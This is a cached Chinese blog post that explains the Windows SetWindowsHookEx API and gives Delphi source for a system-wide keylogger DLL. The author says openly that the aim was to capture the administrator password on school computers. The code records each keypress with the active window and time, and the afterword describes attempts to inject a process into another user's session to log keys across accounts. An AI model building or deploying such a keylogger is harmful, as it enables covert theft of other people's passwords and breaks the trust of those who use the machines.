一个键盘钩子的写法,很实用

2012-09-29 Xie Jingyi 更多博文 » 博客 » GitHub »

Delphi Win32

原文链接 https://hsfzxjy.github.io/2012-09-29-sharing-a-keyboard-hook-in-delphi/
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。


0x00 前言

早就想写一个键盘监听器了,学校的电子阅览室设了Administrator屏障,想装软件什么的很麻烦,因此想截获管理员密码。。

花了大概一个星期编写了一个,效果还不错,因此来分享一下。。

0x01 基本概念

首先解释一下什么是键盘钩子:

钩子(Hook)是Windows消息处理机制中的一个监视点,应用程序可以在这里安装一个子程序(钩子函数)以监视指定窗口某种类型的消息,所监视的窗口可以是其他进程创建的。当消息到达后,在目标窗口处理函数处理之前,钩子机制允许应用程序截获它进行处理。

SetWindowsHookEx函数可以把应用程序定义的钩子函数安装到系统中:

HHOOK SetWindowsHookEx(
    Int idHook ;       // 指定钩子的类型
    HOOKPROC lpfn;   //钩子函数的地址。如果使用的是远程钩子,钩子函数必须放在一个DLL中。
    HINSTANCE hMod; //钩子函数所在DLL的实例句柄。如果是一个局部的钩子,该参数为NULL。
    DWORD    dwThreadID; //指定要为哪个线程安装钩子。若该值为0被解释成系统范围内的。
)

IdHook参数指定了要安装的钩子的类型,可以是下列取值之一:

  • WH_CALLWNDPROC 当目标线程调用SendMessage函数发送消息时,钩子函数被调用。
  • WH_CALLWNDPROCRET 当SendMessage发送的消息返回时,钩子函数被调用。
  • WH_GETMESSAGE 当目标线程调用GetMessage或者PeekMessage时。
  • WH_KEYBOARD 当从消息队列中查询WM_KEYUP或WM_KEYDOWN消息时
  • WH_MOUSE 当调用从消息队列中查询鼠标事件消息
  • WH_MSGFILTER 当对话框,菜单或滚动条要处理一个消息时,钩子函数被调用。该钩子是局部的,它是为哪些有自己消息处理过程的控件对象设计的。
  • WH_SYSMSGFILTER 和WH_MSGFILTER一样,只不过是系统范围的。
  • WH_JOURNALRECORD 当Windows从硬件队列中获取消息时。
  • WH_JOURNALPLAYBACK 当一个事件从系统的硬件输入队列中别请求时
  • WH_SHELL 当关于Windows外壳事件发生时,比如任务条需要重画它的按钮
  • WH_CBT 当基于计算机的训练(CBT)事件发生时。
  • WH_FOREGROUNDIDLE Windows自己使用,一般应用程序很少使用。
  • WH_DEBUG 用来给钩子函数除错。

Lpfn参数是钩子函数的地址。钩子安装后如果有消息发生,Windows将调用此参数所指向的函数。

如果dwThreadId参数是0,或者指定一个由其他进程创建的线程ID,lpfn参数指向的钩子函数必须位于一个DLL中。这是因为进程的地址空间是相互隔离的,发生事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,在相关事件发生时,系统会把这个DLL插入到发生事件的进程的地址空间,使它能够调用钩子函数。这种需要将钩子函数写入DLL以便挂钩其他进程事件的钩子称为远程钩子

如果dwThreadId参数指定一个由自身进程创建的线程ID,lpfn参数指向的钩子函数只要在当前进程中即可,不必非要写入DLL。这种挂钩属于自身进程事件的钩子称为局部钩子。

hMod参数是钩子函数所在DLL的实例句柄,如果钩子函数不再DLL中,应将hMod设置为NULL。

dwThreadId参数指定要与钩子函数相关联的线程ID号。如果设为0,那么钩子就是系统范围内的,即钩子函数将关联到系统内所有线程。

要卸载钩子,可以调用UnhookWindowsHookEx函数。 BOOL UnhookWindowsHookEx(HHOOK hhk); // hhk 为要卸载的钩子的句柄

注意:安装钩子的代码可以在DLL模块中,也可以在主模块中,但是一般在DLL里实现它,主要是为了使程序更加模块化。

既然我们要截获的是全局的按键消息,那么就应该将钩子放在DLL中。

Windows钩子都有一个回调函数:

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
         // 处理该消息的代码 …..

    Return ::CallNextHookEx(hHook,nCode,wParam,lParam);
}

HookProc是应用程序的名称。nCode参数是Hook代码,钩子函数使用这个参数来确定任务,它的值依赖于Hook的类型。wParam和lParam参数的值依赖于Hook代码,但是它们典型的值是一些关于发送或者接收消息的信息。

因为系统中可能会有多个钩子的存在,所以要调用那个CallNextHookEx函数把消息传到链中下一个钩子函数。hHook参数是安装钩子时得到的钩子句柄(SetWindowsHookEx的返回值)。

0x02 实现

有了这些知识,我们就可以开始编写:

首先,先创建一个DLL Wizard,为了在主程序中创建钩子,我们需要键入以下代码:

procedure InstallHook(hwnd:THandle);stdcall;export;
begin
    hook:=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,hInstance,0);//其中hook是一个HHOOK类型的全局变量,用来保存钩子句柄
    hWindow:=hwnd;//hWindow也是一个HWND类型的全局变量,用来保存主程序的窗口句柄,在后面要用到
end;

由于DLL与主程序是独立的,所以DLL截获的消息需要发送到主窗口,这里采用的是发送消息,因此要保留主窗体句柄

下面是卸载钩子代码:

procedure UnInstallHook;stdcall;export;
begin
  UnhookWindowshookEx(hook);
end;

还有回调函数:

function HookProc(iCode:longint;
         wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  msg:TEventMsg;
  keyState:TKeyState;
begin
  if iCode=HC_ACTION then
  begin
    msg:=PEventMsg(lParam)^;
    if (msg.message=WM_KEYDOWN) or (msg.message=WM_SYSKEYDOWN) then
    begin
      keystate.vKey:=LoByte(msg.paramL);//得到键的虚拟键码
      keystate.bCapsLock:=GetKeyState(VK_CAPITAL)=1;//得到CapsLock键状态
      keyState.bNumLock:=GetKeyState(VK_NUMLOCK)<>1;//得到Num Lock的状态
      keyState.bCtrl:=GetKeyState(VK_CONTROL) and $80000000=$80000000;//得到Ctrl键的状态
      keyState.bAlt:=GetKeyState(VK_MENU) and $80000000=$80000000;//得到Alt键的状态
      keyState.bShift:=GetKeyState(VK_SHIFT) and $80000000=$80000000;//得到Shift键的状态
      keystate.Sender:=GetActiveWindow;//得到当前活动的窗口句柄
      keystate.Time:=Now;//得到当前时间
      SendMessage(hWindow,WM_MYMSG,Integer(@KeyState),0);//发给主窗口,WM_MYMSG为一个自定义消息,用于区别于其他消息
    end;
    result:=0;
  end;
  if iCode<0 then
  begin
    Result:=CallNextHookEx(hook,iCode,wParam,lParam);//挂上下一个钩子
  end;
end;

其中TKeyState定义为:

type
  TKeyState=record
               vKey:longint;
               bCapsLock,bNumLock,bShift,bCtrl,bAlt:bool;
               Sender:HWND;
               Time:TDateTime;
             end;

用于记录按键消息。

最后将他们输出:

exports
  InstallHook,UnInstallHook,HookProc;

在主窗体Main.pas中写入:

procedure InstallHook(hwnd:THandle);stdcall;external 'Hookdll';
procedure UnInstallHook;stdcall;external 'hookdll';//静态链接函数

然后调用时用InstallHook(self.Handle);就可以安装钩子了。

至此一个键盘监听器就写好了(详细参考CSDN资源:4428899)

0x03 后记

但是,这个程序还有一点缺陷,就是不能跨用户监听,即如果一台电脑中有多个用户,则用户A的监听器监听不到用户B的按键消息。

我研究过,用户的实质是多个Desktop(即窗口工作站)同时运行(这也是虚拟桌面的工作原理)。我曾试图用CreateProcess()这个API将一个进程跨用户注入到另一个用户的空间中,虽说成功了,但一旦用户切换用户,所有的钩子都将停止,这也令我很苦恼,如果有兴趣的也可以研究一下。